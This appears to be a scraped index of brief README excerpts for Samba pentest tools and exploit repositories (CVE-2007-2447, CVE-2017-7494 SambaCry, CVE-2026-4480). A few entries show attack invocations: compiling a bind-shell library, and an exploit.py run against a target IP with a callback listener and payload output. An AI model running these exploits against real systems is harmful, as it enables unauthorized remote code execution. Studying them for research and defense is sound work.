smbmap

SMBMap SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands. This tool was designed with pen testing in mind, and...

enum4linux

enum4linux A Linux alternative to enum.exe for enumerating data from Windows and Samba hosts. Enum4linux is a tool for enumerating information from Windows and Samba systems. It attempts to offer similar functionality to enum.exe formerly available from www.bindview.com. It is written in Perl and...

CVE-2007-2447

CVE-2007-2447 Samba 3.0.0 - 3.0.25rc3 are subject for Remote Command Injection Vulnerability CVE-2007-2447, allows remote attackers to execute arbitrary commands by specifying a username containing shell meta characters...

CVE-2026-4480-PoC

CVE-2026-4480: Samba print-command %J injection PoC Important — Read this first: This repository and exploit.py are provided for educational and research purposes only. Do not use this code against systems, networks, or services for which you do not have explicit, written authorization...

cve-2017-7494

Basic Setup Install Samba version 4.5.9 https://download.samba.org/pub/samba/stable/samba-4.5.9.tar.gz https://wiki.samba.org/index.php/BuildSambafromSource Get patched version of Impacket pip install -r requirements.txt Usage 1. Start Samba server in interactive mode + debug print sudo...

SambaCry

SambaCry CVE-2017-7494.nse - Nmap Detection Script...

CVE-2017-7494_SambaCry

CVE-2017-7494 SambaCry Exploit Exploit SambaCry CVE-2017-7494 to exploit Samba bind shell without Metasploit If you need to change the port, just change line 68 of bindshell-samba.c and recompile: root@kitploit: gcc -c -fpic bindshell-samba.c root@kitploit: gcc -shared -o libbindshell-samba.so...

CVE-2007-2447

CVE-2007-2447 CVE-2007-2447 - Script de mapa de usuario de Samba. https://alien0ne.digitalpress.blog/cve-2007-2447/ Uso: root@kitploit: $ python3 script.py rhost - La dirección del objetivo rport - El puerto del objetivo lhost - La dirección del escucha lport - El puerto del escucha Instalación:...

noSAMBAnoCRY-CVE-2017-7494

noSAMBAnoCRY CVE-2017-7494 Remote exploit for the SAMBA CVE-2017-7494 vulnerability aka isknowpipename! Details This exploit is divided in 3 parts: Compiles the evilLib in following archs: x8664 , x86, or i686 Finds a writeable share and uploads evilLib to it! Loads evilLib, if everything goes...

-CVE-2017-7494-Samba-Exploit-POC

-CVE-2017-7494-Samba-Exploit-POC According to researchers with Rapid7, over 110,000 devices appear on internet, which run stable Samba versions, while 92,500 seem to run unstable Samba versions, for which there is no fix. The newest Samba models, including the models 4.6.x before 4.6.4, 4.5.x...

BIT-EternalBlue-for-macOS_Linux

BIT-EternalBlue-for-macOS&Linux Exploit de CVE-2017-7494 para el trabajo final del curso de Seguridad de Redes. Esto revela la vulnerabilidad de los servicios que se ejecutan con prioridad administrativa en el sistema operativo. Este bug funciona tanto en macOS como en Linux. Instalación Antes de...

ForgottenButNotGone

Forgotten but Not Gone This repository contains proof-of-concept scripts for the vulnerabilities presented at the talk "Forgotten but Not Gone: Unauthenticated RCEs and LPEs in Legacy Linux Services" from Black Hat USA 2026 and DEF CON 34. CVE-2026-28372 Local privilege escalation in TelnetD:...

enum4linux-ng

enum4linux-ng Una versión de nueva generación de enum4linux enum4linux-ng.py es una reescritura de enum4linux.pl de Mark Lowe anteriormente Portcullis Labs, ahora Cisco CX Security Labs, una herramienta para enumerar información de sistemas Windows y Samba, destinada a profesionales de seguridad ...

CVE-2007-2447-in-Python

CVE-2007-2447 - Implementación en Python Descripción Implementación en Python del exploit RCE 'Username' map script' para Samba 3.0.20 IP - IP de la máquina remota. PORT - Opcional Puerto en el que se ejecuta smb. PAYLOAD - Payload que se ejecutará en la máquina remota, p. ej. reverse shell...

CVE-2026-4480

excute exploit: root@kitploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |...

CVE-2007-2447-Exploit

Exploit CVE-2007-2447 Este repositorio contiene un exploit para Samba smbd 3.0.20 CVE-2007-2447 que permite la ejecución remota de comandos mediante solicitudes SMB manipuladas. Requisitos previos Este exploit requiere Python 3 y algunas dependencias. Se recomienda configurar un entorno virtual...

smb_usermap

smbusermap A simple exploit for CVE-2007-2447, present in Samba 3.0.20. You can exploit this vuln with even less than this, for instance, with smbclient, but I think it's tough to do complex commands, since a lot of special chars probably get eaten, but a simple command reboot in this case can be...

exploit-CVE-2017-7494

SambaCry RCE exploit for Samba 4.5.9 Samba is a free software re-implementation of the SMB/CIFS networking protocol. Samba provides file and print services for various Microsoft Windows clients and can integrate with a Microsoft Windows Server domain, either as a Domain Controller DC or as a doma...

cve-2017-7494

CVE-2017-7494 Target Machine: centos-6.5 + samba-4.5.9...

SambaHunter

SambaHunter It is a simple script to exploit RCE for Samba CVE-2017-7494. Now works with Python3. Many of the required Python2 libraries are deprecated e.g. commands Added logging to show which shares are writeable. If 'Exploit Finished' appears but no shares are writeable, the exploit didn't wor...